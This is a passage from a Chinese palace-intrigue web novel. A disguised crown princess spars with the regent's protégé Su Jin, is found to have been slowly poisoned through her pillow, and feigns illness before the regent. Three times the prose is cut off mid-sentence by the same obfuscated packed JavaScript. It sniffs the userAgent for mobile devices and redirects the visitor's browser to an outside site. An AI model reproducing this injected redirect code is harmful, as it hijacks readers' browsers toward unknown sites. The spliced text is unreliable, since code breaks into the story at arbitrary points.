她纹丝不动，但见他沉着脸踱步过来，边走边挽袖口，似想将方才捉人的戏码重演一次。 与此人动粗，她没有半分胜算，唯有硬着头皮谈判：“君子以理服人，先生有话说话，不要动手！” 那人兀自将她堵在椅前，颀长的身形似渊渟岳峙，困她于进退维谷之间。 “殿下不听话，臣没有讲理的兴致。” 他冷笑，墨玉般的眸中映出她绮丽慌乱的脸，她抬手想抵挡他的胳膊，胡乱抠住他臂弯用力一推。 湿而黏腻的触感漫上指尖，她不由得松开手，定睛看去，竟是染了一掌的鲜血。 苏觐右肘窝处的袍袖早已被血浸透，只因袍料是真红色，浓重的血迹晕开也不甚显眼，以至于她抓得满手都是才察觉。 乔鹤练皱眉，脸上浮现出复杂的诧异，带一点嘲弄，带一点同情：“苏先生，你在流血，你自己不知道吗？” 见他神色寡淡，似毫无痛觉一般，她便慢慢坐回椅中，捧着手，好整以暇地欣赏指间殷红。 “这么吓人的伤，是怎么弄的？”她微微笑着，关切得意味深长。 7. 就学 奉天门事变那日，苏觐从神机营返回秦王府时，已是深夜。 书房的窗透着烛光，门外阶下，一个人影于庭院中长跪。 苏觐从侍从手里接过提灯，快步上前。 灯火之下，跪着的少年身材伟岸，英武清秀的脸上除了懵懂，还横亘着血渍和淤青。 他稀里糊涂地跪在一块坑坑洼洼的粗石板上，一动不动，直到面庞被宫灯照亮，才茫然偏头，唤：“兄长。” 这是甘州郡王乔绥，为秦王已故侧室所出，序齿第三。他能征善战，勇冠三军，为人朴拙憨直，有时显得不太灵光。 苏觐敛眸，只见乔绥身侧明明就是平坦的青砖，不由在心里叹气：“殿下，借过。” 乔绥真以为自己挡了路，赶忙向旁边挪位。 苏觐无话。若是平时，他已让这少年武将起身回去了，但今夜显然不同。 廊下另一人小跑过来，满脸忧色，无助地朝他拜揖：“大哥又和爹吵起来了，这次很凶，我不敢劝，还求兄长拿主意……” 此人眉目疏朗，举止优柔，正是乔绥的同胞兄长，东安郡王乔纮。苏觐回礼，向他询问缘由。 乔纮解释说，晚上世子向秦王请安，起初二人聊得相安无事。中途北镇抚司来人禀报，提及尸首转移之事，秦王大发雷霆，迁怒了世子。世子因世子妃小产之事心烦，顶了几句嘴，闹得一发不可收拾。 苏觐回头瞧一眼乔绥：“三郎又是何故？” “爹打骂大哥，正在气头上。三郎冒冒失失闯进去，挨了几个耳光，爹令他跪在外头。”乔纮讪讪道，“哥，不是我不拦，爹和兄弟们置气，我拦得住哪一头？” “王妃娘娘呢？”苏觐问他。 “娘这几日照顾大嫂，约莫累着了，使女们早早伏侍睡了，我不敢惊动。”乔纮小心翼翼。 苏觐沉默片刻，把灯还给侍从，对乔纮道：“殿下也早点歇息吧。” 一日来回奔波，他其实已困倦到极点，在马上甚至打盹了片刻。此时却不得不强撑着沉重的双腿，迈上一级又一级台阶，在门前站定。 他扶上格扇的边梃，并未叩门，只闭了眼，静静听着门内摔打桌椅的哐当声和砸碎瓷器的哗啦声。鞭挞声，掌掴声，叱骂声，震耳的聒噪交织成一曲混沌的挽歌，刺痛他心底那簇枯槁死灭的神经。 屋中骤然响彻一串悲愤的嘶吼：“是他姓苏的忤逆你，给那老贱骨头收尸，把你的脸往地上踩！你不舍得怪罪姓苏的驽才，转过头拿我们泄恨出气？爹，作践儿子们算个屁的本事，有能耐你一刀砍死我，一脚踢死老三，那才叫一了百了！可惜就算我们都死绝了，人也照样姓苏！” 秦王冷冷道：“我现在就宰了你！” 随之便是兵戈出鞘的脆响。 苏觐一把推开了房门。 一个披头散发的青年从房中滚了出来，伏在他脚边喘息。 那人未着外袍，虚披一件绸衫，里衣绽裂了几处，露出或深或浅的伤痕。 他抬起头，脸上指印交错，肿得厉害，唇上淌血，仍是一张俊逸出众的面孔。 看清来者是谁，他咬牙切齿地骂：“驽才，你还有脸来！你不过是我父身边的一条狗，沾了你娘的光，狗仗人势，把我害成这样，我做鬼也不会放过你！” 话音未落，对面寒光一闪，一柄长刀如雷霆般劈斩而下，利刃催风，毫不留情，当真有夺命之势。 秦王脸色漠然，但苏觐看得出，他已盛怒至极，的确动了杀心。 苏觐没有退让，抬手一挡，硬生生截停了秦王拔山般刚劲的手腕。 他冷静地喊乔绥：“三郎，把你大哥拖出去。” 乔绥已抢先一步扑过来，动如脱兔般把世子乔绍从地上捞了起来。 听完苏觐的吩咐，那少年径直将他大哥横抱着扛出了院落，尽管嘴欠的乔绍在不停挣扎，骂骂咧咧：“老三，你放我下来，你让他弄死我！等我到了下面，自会告诉先帝，告诉祖母，老子是怎么过去的！” 夤夜，万籁俱寂。苏觐感到彻骨的疲惫，他两腿酸痛得厉害，几乎支不住身躯，气力和精髓也伴随体温一起，在寒冷的夜风中汩汩流逝。 耳边当啷巨响，是秦王握着的那把战刀摔落下去，重重砸在台阶上，仿佛要拦腰断成两截。 苏觐一时也不知秦王为何掷刀。 大概是怒不可遏。 今日他的确太放肆了。如果秦王此刻捡起刀，把他捅穿，他也认栽。 他做事不计后果，并非不知后果。 乔绍的话尖酸刻毒，却是不折不扣的事实。苏觐很讨厌被人代为受过的感觉，尤其是被乔绍这种人。 他在排山倒海般的晕眩中，慢慢屈身，令左膝触在地上。那里曾在漠北军帐中过暗箭，伤及筋骨，军医嘱咐过要仔细养护，不可重创。 果然，还不及他放下右腿，已被人暴怒地揪着衣领拽起，狠狠拖进了屋内。 接下来呢？是掌掴？还是鞭挞？ 怎么可能。 他站在楠木雕花的落地宫灯旁，烛影摇红，恰好映亮他那张清冷绝尘的面颜。 和他稀世美貌的母亲如出一辙。 不似二郎、三郎肖似秦王，乔绍大概也随他母亲，才会与父亲怨怼隔阂二十余年。 而对苏觐而言，他一个出身卑微的士庶之子，生在烽火连天的偏僻边陲，能在垂髫之年得先帝青眼，走到如今位极人臣的地步，让这些郡王，世子，太子都匍匐在他脚下，若单靠个人才干，而没有秦王的提携和偏爱，是绝不可能做到的。 比起那姓乔的兄弟三人，他分明不是亲生骨肉，却独享了秦王作为父亲的柔情和慈爱。 只因他是他母亲的儿子，是秦王毕生独爱的女子的孩子。 横扫千军的悍将，势倾朝野的霸主，唯独在一个平民女子身上有软肋。 只因承诺过母亲善待他，十七年来，秦王对他视如己出，极尽眷爱，自他左膝负过伤后，再也不许他下跪，更遑论那些粗鲁的掌掴和鞭挞。 他所受过最大的苦，就是偶尔让母亲垂泪时，被秦王拎过去，让他坐在一张圈椅里，什么也不干，连续几个时辰干坐着。 而此时此刻，他凭灯而伫。喜怒无常的暴君颤抖着捧起他被刀划伤的手臂，就着光亮察看伤势，神思恍惚，嗓音喑哑：“长绬，你在流血，你自己不知道吗？” * 又是梦中坠崖，乔鹤练遽然惊醒，寝殿内已是亮堂的白昼。 “行简，什么时辰了？”她猛地掀开帘帐，光脚跑下榻，却没有行简追在她身后递袍服鞋袜。 两个小内臣慌慌张张冲进来，磕巴着回：“殿，殿下，卯正三刻了……” 乔鹤练眼前一黑，努力掐着人中没让自己栽倒，沉声吩咐他们去打水取衣裳。 一群蠢才，什么时辰了，竟没人叫她！ 漱口水凉得冰牙，净面水热得烫手，衣衫也有多处褶皱没熨平整。她竭力忍了起床气，将就拾掇好，一面挽发髻一面往殿外奔去。 “帽子，帽子！”她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530973|203689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扶着额头，不得不折返回来，和手忙脚乱给她送帽子的宫女撞了个满怀。 也不怪这些内臣宫女服侍得生疏，平日她一切生活起居均是行简亲手打点，事无巨细，样样妥帖，还有谁能比他更无微不至？ 想到可怜的行简还在安乐堂受苦，派过去的太医尚未回禀他的伤势，乔鹤练忧烦不已，心里对那人的恨意又深一分。 行简最好没事，这桩仇，她已然记下，必定是要讨还回来的。 她踩着辰时的漏刻赶到文华殿。 侍班官、讲读官们俱已到齐，个个敛声屏气，面面相觑。 昨日殿上一番杀鸡儆猴，无人不悚惧下一个倒霉之人是自己。过去在文华殿当班是何等美差，除了差事轻松、赏赐丰厚外，还不必点卯，到点散衙，告假随意。现在顶头来了尊煞神，一个不小心被挑出毛病，轻则罚俸，重则丧命，在这种人心惶惶的氛围下，谁能不满面愁云？ 乔鹤练却长舒了一口气。 大惊小怪半天，苏觐今天压根没来，只有卢允恭早早地候在殿上。 翰林院庶务繁杂，还要不时去沙河行宫伴驾，如今文华殿的讲读，卢允恭也不是常常能抽身前来的。 她顿时心旷神怡，脚步都轻快不少，跨过台阶入座，兴致盎然地拉开右手抽屉，里面放着一个规整小巧的油纸包。 卢允恭知道她喜欢岁香局的酥果，进宫前经常特意绕道到甜水巷，给她捎带点心。 她展开纸包，旁若无人地品尝起来。 还是民间匠人的手艺精湛，酥果皮薄馅软，入口酥脆且甜而不腻，咽后齿颊留香，和光禄寺那些狗看了都摇头的腤臜饭菜有天壤之别。 得让甜食房也学会这道点心，犒劳每天辛苦当差的大家。 侍读官则例行公事，复述前日所读篇名，请太子殿下背诵。 乔鹤练随意从案上抽出一本书，抓着书脊，将书页当成掸子，慢悠悠地将桌上点心碎渣扫干净了，才抬起头道：“不会。” “殿下，”卢允恭言辞温和，委婉提醒道，“殿下不要紧张，慢慢回想，这几篇书很简单。” 根据讲章，前日应读《吕氏春秋》选段，篇幅不长，内容浅显，但凡读过书的儒生都能记下来。 她知他弦外之音是让她小心应付，把握分寸，别让苏觐瞧出端倪，也不可被其抓住把柄。 这满殿官员皆是聪明人，哪有不审时度势的。如今秦王摄政，形同无冕之帝，不知要有多少人心甘情愿投靠苏觐，做他背地里的耳目。 “……的确不记得，忘了。” 乔鹤练是真不会，因为前日的讲读她也没来，昨晚亦不曾温习。这几段文章上次看的时候得是十年前了，突然之间，就是想不起来怎么背。 空气瞬间凝滞，氛围莫名变得紧张，乔鹤练不明就里，但见那个侍读官的脸刷的白了，身子也哆嗦不止，仿佛见了鬼似的。 “前日当班的侍读官是谁？” 质询声猝然自她背后响起，淡漠酷寒，仿佛要将人神智封冻。 乔鹤练也吓了一跳，肌肤浮起粟栗，惊弓之鸟般从座位上弹了起来。 她回头，座位后是一架描金漆木屏风，问话之人已从屏风后缓步而出。 那人官服整肃，一手捻笔，另一手执奏疏，奏本所夹票拟纸签上的墨迹尚未干透，犹泛着清亮的光泽。 苏觐。 他在殿上！只不过一声不吭地坐在屏风后，边批奏本，边静默听察殿中态势。 为何没人说啊！ 8. 背不出 乔鹤练立在座前，身子紧绷如弦。 那侍读官连滚带爬离了席，惊恐万状地跪在大殿中央。 “前日这些文章，太子读了几遍？”苏觐问。 他声不大，口吻也不严厉，落入耳中却有砭骨之寒，让人忍不住瑟缩。 “……” 那侍读官慌成了哑巴，根本说不出话。殿中落针可闻，乔鹤练感到一阵阵头晕。 “在这里想不起来，不如去刑部监慢慢想？”苏觐冷声。 吓得侍读官以头抢地：“下官有罪，下官不知……” 乔鹤练脑中一团乱麻，她预感要出事，赶忙坐回座位，将《吕氏春秋》翻出来，找到那几页现温现记。 奈何越着急，眼前文字越糊成一团墨迹，根本塞不进脑子。 一支笔嗒地掷在案上，书本旋即被一把拽走，只听苏觐呵了一声：“不知？那我告诉你，一遍也没读。毕竟前日太子没来，你自己也没来。” 那侍读官已魂飞魄荡，整个人抖得像筛糠一般。 殿上众官闻言，全部傻了眼，个个心惊肉跳。 都以为过去文华殿这些闲事根本无人在意，可苏觐分明对此了如指掌，看来岑典那帮人没少在暗中搜集他们的把柄。 “你一个翰林官，借太子懒学之机，屡次旷职废事，视朝廷律令如无物，也当文华殿是无人之境？” 书本啪的一声摔在侍读官额前的地砖上，众官随之皆是一个战栗。 “现在去，教太子把书背会。一炷香内背不出，论罪再加一等。” 侍读官面如死灰，捧起那本书，踉跄着扑到乔鹤练案前，苦苦哀求：“殿下，求殿下开恩，救救微臣……” 乔鹤练也汗流浃背。书页徒然在指下翻动，满纸的字都成了鬼画符，后脑勺似无数根针用力捅扎。 她于迷茫中抬头望向卢允恭，恰与他目光交汇。 但见满满的关切，和几分困惑。 偏是此刻，一叠奏疏啪嗒搁在了案角，竟是苏觐将阵地从屏风后转移到了她桌案上，而后展疏提笔，继续往票签上批复。 从容得堪称目中无人。 他站在她椅旁，身姿如孤松耸立，将她笼于阴影之中。 她不禁偏头侧眸，觑着那张惊艳若神祇的脸。如此轻慢，如此盛气凌人，令她无心欣赏，只剩抵触和窝火。 他视线不偏不倚，明明专注在那些奏本上，却蓦然道：“臣脸上没有字。” 乔鹤练无语别过身子，将书本翻得哗哗响。 自己在旁边监视储君，却不许储君瞅他一眼，真是猖狂，真是大逆不道！ 乔鹤练本就被盯得喘不过气，那侍读官还战战兢兢趴在她案前，使她压力陡增，头皮发紧，此刻心里当真没了底。 这么简单的文章都记不住，她甚至无颜面对卢允恭，唯有将头埋得更深。 她因此没能窥见，年轻翰林明润的眼眸霎时暗淡下去，变得怅然若失，又思虑重重。 苏觐的写阅速度的确惊人，令人目不暇接。一页页墨书被飞快地拟好，夹入奏本。短短一炷香的功夫，那堆奏疏已尽数批完，由侍候在旁的校尉捧出了大殿。 手中书本被再次毫不留情地夺走，耳边砸下漠然的一个字：“背。” 乔鹤练呼吸都停滞了，仿佛肺腑被无形之手猛捏紧攥，脑海也被抽空。 真荒谬啊，按她平日的默记水准，就算是生书，足足一炷香，比眼下多两倍的内容也该背下来了。更何况这些文章还是学过的。 苏觐并不多候她片刻：“来人。” 立刻便有锦衣校尉上殿，把那个侍读官拖了出去。那人连头都没来得及碰地，求饶声喊了两句便戛然而止。 苏觐平生最厌恶口舌聒噪，在他跟前效命的校尉，有的是办法让人开口或闭嘴。 殿上讲读官皆触目崩心，有兔死狐悲倒吸凉气者，也有胆怯心虚几近晕厥者。 苏觐持卷，随手指向一名侍讲官：“你来。继续教，教到太子会背为止。” 那官员害怕得腿软，咕咚瘫坐在地，挣扎了半天也没站起来。 乔鹤练在文华殿上从没遇到过这等情状，此刻竟有了真切的窒息之感。她头晕脚晃地撑立起身，奋力想抢苏觐手里的书本。 可那书被略微举高，轻易避开了她发颤的指尖。 乔鹤练拧眉仰头，撞上那双寒意萧肃的眼眸。其中不见波澜，亦没有丝毫与人纠缠的耐性。 与他僵持之际，只见卢允恭已扶起地上的侍讲官，快步至阶上案前：“让下官来吧。” 苏觐握卷的手忽地一紧。 他另一手扳过太子肩膀，将其硬生生按回座位，方觉几分解气，冷笑道： “卢学士若也教不会，以后便不必劳心辅佐太子了。当好你翰林院的差，侍奉好沙河行宫的圣驾即可。” 倒省得他再寻别的由头把这烦人的探花踢出东宫。 琨玉秋霜的国公之子，年少及第，容止俊美，在鸿儒济济的翰林院中颇负才名，京中倾慕他的名门闺秀不在少数。论年岁他今年也二十有三，却从没听过他议亲的消息。 陈留公主早薨已是五年前的事，看来卢允恭仍对那幼时婚约念念不忘。据说这人和陈留是青梅竹马之谊，如今对天子、太子这般死心塌地，不知有几分是因与陈留旧情难却。 可那又如何？终究未与陈留正式成婚，还惺惺作态地守起鳏来了，当自己有什么名份似的，让人看了恶心。 苏觐再度低眸，垂视太子。 眉眼秾华，面庞清素，天然去雕饰的一张脸，却如精心描画过一般瑰丽耀目。 倘若陈留不曾病逝，也长到十八岁，便是她胞兄如今的模样吧。 论及没有交情的太子，他毫无波澜，本不应该有任何心慈手软。可此时此刻映入眼帘的，这副与陈留一般无二的容貌，又分明堵得他心口闷疼，勾起难以言喻的伤悼。 还是执念太深。 只因陈留不在了，而他通过太子，在看陈留。 他怔了一瞬，指间略微松动，顺势将书往太子怀里一扔。 “半柱香，学吧。” 乔鹤练 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530974|203689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边闷头翻书，边听卢允恭将几篇文章快速讲了一遍。可不知为何，那些字句仿佛天书般缥缈悬浮，简明易懂的讲解也左耳朵进右耳朵出，横竖一个字也记不住。 狼狈的失控感如山崩般迎头塌下，几欲将她压垮。她脸色苍白，额边渗出细密的虚汗，只听卢允恭突然道：“殿下极似身体有恙，不宜继续听讲，应该立刻请太医问诊。” 苏觐仿佛听到什么笑话：“卢翰林，你是贵介公子，怎么编个借口，也和那谄媚惑主的宦官一套说辞？” 乔鹤练暗忖，卢允恭大概是看出她一点也背不来了，称病逃避的确不像他平日作风，想来是情急之下才出此下策。 她正要接话扯谎，一个校尉火急火燎地奔进殿来，打断他们：“启禀少保，岑御史遭大理寺弹劾，秦王殿下已令严惩，将他拿到诏狱治罪了，命大人速速过去一趟。” 直到苏觐和校尉们远离了文华殿，乔鹤练才松了口气，一头栽倒在书案上，闭眼慨叹：“终于滚了。” 刚才那一出并非偶然。 在前段时间暗查光禄寺贪污一案时，她通过蝉楼取得了岑典携伎私游的罪证。正是她昨晚连夜派人将罪证秘密呈递给大理寺下属官员，才使得岑典今日被弹劾问罪。 岑典擅察情报，和锦衣卫混得熟络，掌握诸多朝臣秘密。他仗着秦王几分宠信，又与苏觐有些少年私交，到处踩人痛脚，在朝中耀武扬威。 若论不怵岑典之人，大理寺寺卿则首当其冲。其人刚正不阿，奉律法为圭臬，固执如一头倔驴。 大理寺与都察院本就不和，众官早就恨透了横行霸道的岑典，如今好不容易抓到他的把柄，还不得在大理寺卿带领下，大张旗鼓告到秦王那里，添油加醋地参他一本。 没想到大理寺动作这么快，转眼间就请君入瓮，把岑典的罪名给坐实了。 一想到那嚣张之徒栽了跟头下了大狱，乔鹤练顿觉心怀畅快，神清气爽。 苏觐既敢动她的行简，她便加倍奉还给岑典，让那人也尝尝折膀断臂之痛。 惊魂未定的讲读官们得了上官允准，也都匆匆告退，作鸟兽散。 乔鹤练尚未小憩片刻，便被人扶肩托起。她揉了揉眼，但见卢允恭眉目间尽是担忧：“殿下是否感觉很不舒服？” 苏觐不是都走远了吗，怎么还说这事？ 乔鹤练被问得莫名其妙：“没有。刚才头有些晕，这会不晕了。” “昨日呢，之前呢？”卢允恭追问。 “昨日也有点……记不清了。”乔鹤练扶额，“我没事，就是被姓苏的气的。” 却见卢允恭皱眉，眸光也愈发凝重。 乔鹤练鲜少见他流露出这般严肃之色，欲言又止之际，已被他拽着衣袖拉出了大殿。 不知为何，他动作仍算得上温和，可似乎也压着一股说不清道不明的愠意。 “卢哥哥，”步履混乱中，她茫然地唤，“这是要去哪？” “太医院。”卢允恭尽量放缓语气，“那些书，殿下无论如何也不该背不下来的。一定是哪里出问题了。” 9. 中毒 锦衣卫诏狱。 镇抚使张宽值了一夜的宿，困得眼皮直打架，却被犯官强拉着在牢房里下棋。 衣衫上尚沾着刑讯罪囚的血气，他强忍着想砍人的怨气，嘲讽：“岑兄在法司白白当差这么些年，一千二百两银子拿不出来？” “一千二百个铜板我都拿不出来。”岑典没好气道，“不如张大人贿赂我一千二百两，等我宽裕了还你？” 张宽烦得要命：“可以，然后和你一起被拖到大理寺杖毙。” 他熬得昏昏欲睡，暴躁地一拂掌将棋局搅散。“老子不等了。打死你回家沐浴。” 说完闭着眼，梦呓一般朝牢门外喝命，“来人！拿家伙，拖出去！” 牢门应声而开，来人语气淡淡：“合计多少？” 张宽猛地一个激灵，浑身冷汗都骇出来了，如冰水浇头一般清醒，登时从炕上弹了起来。 “八，哦不，一千……”这位手段狠辣的酷吏慌得捋不直舌头。 “官员宿娼，依律杖六十，风纪官违律，罪加一等，杖八十，赎刑银一千二百八十两。”苏觐不疾不徐，“张镇抚，某算得可对？” 国朝律令，除却不赦之罪，刑罚可用银钱冲抵，所纳银两悉数充入国库。近年因征战频繁，军饷消耗极大，苏觐接手内阁事务后，将赎刑金额翻了十倍，才成了如今的巨款。 岑典也顾不得盘坐麻木的双腿，忍着脚底万根针扎般的刺痛，悄然下了炕。 只听张宽的答话声打着抖：“对，对着呢。” 岑典垂首僵立，仿佛千钧重负压在头顶，脖颈都快折断了。他不敢正视苏觐，余光瞟见其从袖中取出一张银票递给张宽。 “这是一千两。”苏觐话音没有起伏，“剩余十八杖，便据实行刑吧。” 岑典腿一软，两膝摔在地上，唇齿发颤，吐不出半个字。 张宽惊惶万状地捧着那薄薄一纸，也如被夺舍了般动弹不得。 “记录卷宗后移交户部。现在去外头喊人，取重杖。”苏觐淡漠吩咐，“行刑校尉若敢掺水敷衍，一并重杖问责。” 面对如此清晰的命令，张宽哪还有胆磨蹭，连连应是，勾着头蹑手蹑脚地溜出牢房。 下场已定，岑典心中反而平静，哑着嗓子道：“岑典当差不慎，自作自受，自然没脸喊冤。” 岑典不是顾惜官体的人，他名声本就不佳，也不在乎多一条携伎私游的罪名。沦落到这般田地，只因他暗中调查的光禄寺贪污一案，关键线索在一个为光禄寺供应禽畜的富贾身上。 岑典本想凭着皮相，再搭上些银子，去勾引那商贾的相好歌女，借此打探内情。结果却阴沟里翻船，没套出什么有用的情报，白花了宴请游玩的银两，连贴身的扇坠都被顺走了，成了大理寺弹劾自己与歌女私相授受的铁证。 办差办得被政敌拿住把柄，确实好笑。秦王为了给大理寺那帮刺头一个交代，不得不将他法办，却令与他私交最深的锦衣卫执刑，还命苏觐前来救急，袒护之意已溢于言表。 岑典猜到苏觐会不悦，但实在没料到竟不悦到这个地步。从前差事办得再砸，苏觐都没怎么怪过他，这次也不知是捅了什么窝了。 他不怕死，却也不愿死得不明不白，不甘心地追问：“长绬，就为这么个事，你当真让我受大刑？” 苏觐闻言冷笑：“岑大人，你既有能耐在奉天门前上蹿下跳，又有胆量在太子面前摇唇鼓舌，区区几下敲扑，于你而言算得了什么？” 岑典如遭雷劈。 他此刻才意识到，自己暗地里那点心思，在苏觐面前早已暴露无遗。苏觐之所以按下不究，只是等个机会秋后算账罢了。 譬如今日。 岑典清楚，他为了报复那些同他斗得你死我活的原泰门生，故意激起奉天门之乱触怒秦王，害得原泰不能善终。 苏觐因此向他问罪，他无话可说。可那废物太子算个什么东西，敢在苏觐面前大呼小叫，他不过嘲讽几句，让其当众出丑算是最轻的了。 戏弄东宫怎么也会触苏觐的霉头？打死他也想不通，这是什么道理！ 他一头雾水，张口结舌间，苏觐已抽身而去，牢门外只剩带着校尉来将他拖出去行刑的张宽。 岑典血涌脑门，几乎动了杀心。他在朝中向来飞扬跋扈，何曾憋屈至此？满腔怨恨一时不知能落在谁头上，想来想去，太子那个蠢货真是比大理寺那群庸才还要可恶！ 好，那就走着瞧。不知一国储君身陷囹圄之时，会不会比他今日更狼狈。 * 乔鹤练坐在案前，衣袖微挽。腕间搭着诊脉医官的指尖，因搁于垫上久不挪动，有些发僵。 眼前医官与众太医打扮不同，乌纱簪花，青袍工整，正是一位气质沉静的女医。 这便是为太医院官员讲授药理的司药女官薛素问，她曾受先帝嘉赏，又精通医理草药，在太医院的威望不亚于院正。 薛司药早年在六尚当差时，暗地里便效忠于今上，自顶替东宫以来，乔鹤练的身体一直由这位女医诊治照料。 望着女医愈发凝重的神色，乔鹤练手脚浮起凉意，心里也七上八下起来。 难道真出问题了？ 被女医刮骨刀般的目光盯得发毛，她如鲠在喉，话到嘴边又咽了下去。 薛司药起身步向药柜，卢允恭忙跟上去，不及他开口，女医便道：“大人先速送殿下移步别宫，我亲自煎药，很快就来。” 见二人如临大敌，乔鹤练笑着打诨：“什么疑难杂症，把薛姐姐这再世华佗紧张成这样？” 薛司药不开玩笑，正色道：“虽非顽疾，但所幸发现得早，殿下的脉象的确是中毒，约莫有二旬之久。” * 被卢允恭哄骗着干完整碗汤药，乔鹤练真想把舌头割下来送人了。 她强忍着没呕，瘫在偏殿的矮榻上，几颗蜜饯压下去，嘴里仍直冒苦水。 排查完东宫日常饮食后，女医很快便从寝殿中找到了毒源。 “殿下的药枕枕芯里被混入了毒物，其中含有朱砂，夹竹桃花粉和雷公藤粉末，初沾只令人多梦、迟钝，长期摄入则亏气血、虚心脾，直至虚劳而亡。” 乔鹤练后知后觉，此刻也悚然心惊。毒物就在她卧榻之间，日日枕于其上，粉末渗入头皮，吸入肺腑，她竟浑然不觉。 原来连日梦魇，失眠健忘，头晕恍惚，全是中毒的症状。难怪她只有出宫在蝉楼的那一晚睡得安稳。 眼下，寝殿中卧具器皿已更换一新，由薛司药仔细检查过，确认无虞。 可究竟是谁，要下毒置她于死地？ 秦王？ 这个念头刚冒出便被乔鹤练否定了。 伯父虽嗜杀残暴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530975|203689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，但不齿用这样龌龊的手段害人。他与爹爹手足嫌隙多年，尚且不曾暗算过爹爹——都是明着恐吓。对自己这个侄儿，应当不至于赶尽杀绝。 更何况她如今只是个不学无术的废物太子，以荒唐骄纵闻名。太子不通政事，便是他最称手的傀儡，是堵住悠悠之口的工具。 毕竟乔鹤练做太子以来，从未公然违逆过秦王。只要辅佐东宫的名义在，秦王便不会彻底与宗法礼教为敌。 若没有朝野之中的残忍杀戮，没有连年北伐下的民生之殇，没有大权之争——他大概算是个不错的伯父。 记得五岁那年，伯父从边关回京，还曾一手一个地抱着她和阿缜去坊间逛灯会。那夜火树银花，人声鼎沸，她把绢娃娃身上的假花插了伯父一头，阿缜在伯父耳边吹了一路的瓷哨子。 那枚瓷哨后来被她要了去，如今还在匣子里躺着，吹哨的哥哥却再也不会回来了。 * 东宫寝殿，向来只许知根知底的内臣踏入，太子的贴身之物，唯有可能在送出洗熨时被人动过手脚。 负责洗熨的典服内臣乔鹤练不算熟悉，这种起居细节唯有行简最清楚，她只得以寝殿失窃为由，将有嫌疑的内臣先圈禁起来，一面将此事透给秦王，一面等行简回来再作打算。 好在听薛司药说，在安乐堂给行简治伤的太医传了信回来，说行简伤势不重，并未伤及筋骨，养几日便可以下地走动。 只是，行简如今仍是戴罪之身，何时能回东宫侍奉还得看司礼监的说法。 显然司礼监对苏觐唯命是从，苏觐不点头，行简绝无可能从安乐堂被放出来。 除非…… 乔鹤练唤来内臣：“去禀秦王，就说我病了，头晕得厉害。” 那般难以下咽的药都喝了，不借机胡扯八道一番，岂不是白白受了这些苦。 * 纱幔之外影影绰绰，一道人影逐渐靠近，依稀可辨头顶翼善冠的轮廓。其呼吸脚步声沉稳得可怕，仿佛与生俱来一股杀伐之气。 来人默不作声地坐在榻前的鼓凳上。 窒息感清晰地碾压着耳膜，乔鹤练有气无力道：“侄儿身子不适，不能起身相迎，伯父勿要见怪。” “太子突发头眩，是否惊惧与忧思所致？”秦王缓声问，“病症竟与天子有几分相似。太子青春年少，为何会心神不宁至此？” 一副关爱子侄的长辈姿态。 “不瞒伯父，我近来连日梦魇，不得安眠，昨夜更是做了一个极可怕的噩梦。”乔鹤练裹着被子坐起身，脸色苍白，“我梦见自己被追杀，逃至一处悬崖边缘，有人将我狠狠推下深渊。” “是么？”秦王面无表情，“太子可看清了贼人是谁？” 假意迟疑片刻，乔鹤练支吾：“我若说出来，伯父要将他怎样呢？” “谋害储君，其罪当诛。那便，活剐了吧。” “……” 秦王这个暴君，比她想象得还狠。 乔鹤练嘴角一抽，“可那只是做梦，因为一个莫名其妙的梦而判人极刑，是不是太残暴了呢？” “令太子惊惧成疾之人，自是罪有应得，死有余辜。”秦王冷冷道。 静默良久，乔鹤练反问：“伯父猜那人是谁？” 秦王盯着她不说话了。 乔鹤练笑了两下：“苏觐苏大人。” 10. 喂药 秦王也开怀大笑，转头向殿外道：“太子指名传召，还不进来探视？” 乔鹤练耳中一鸣，指尖猛地攥紧被角。 不是吧，正编排着坏话呢，真来了啊？ 但见换下了官袍的年轻权臣一身素净便服，好整以暇地步入寝殿。 被自己一口唾沫呛住，乔鹤练剧烈咳嗽起来。 “咳咳咳……” 权臣充耳不闻，平静拱手：“臣恭问太子殿下起居，伏望储躬千岁安泰。” 安泰个屁啊，你别在暗地里害我，我就烧高香了。 乔鹤练在心里翻了个白眼，借着喘气的后劲恹恹道：“多谢苏先生，本宫身体抱恙，不便起身回拜……” 话音未落便被秦王打断：“这里没有外人，太子何必多礼？觐儿算是你平辈兄长，如此称呼倒生分了。” 呸，这个歹毒逆臣也配。 乔鹤练腹诽着，强忍了恶心，装作乖巧改口：“是，苏哥哥。” “臣惶恐。”苏觐眼也不抬。 呵，果然狗坐轿子，是不识抬举的。 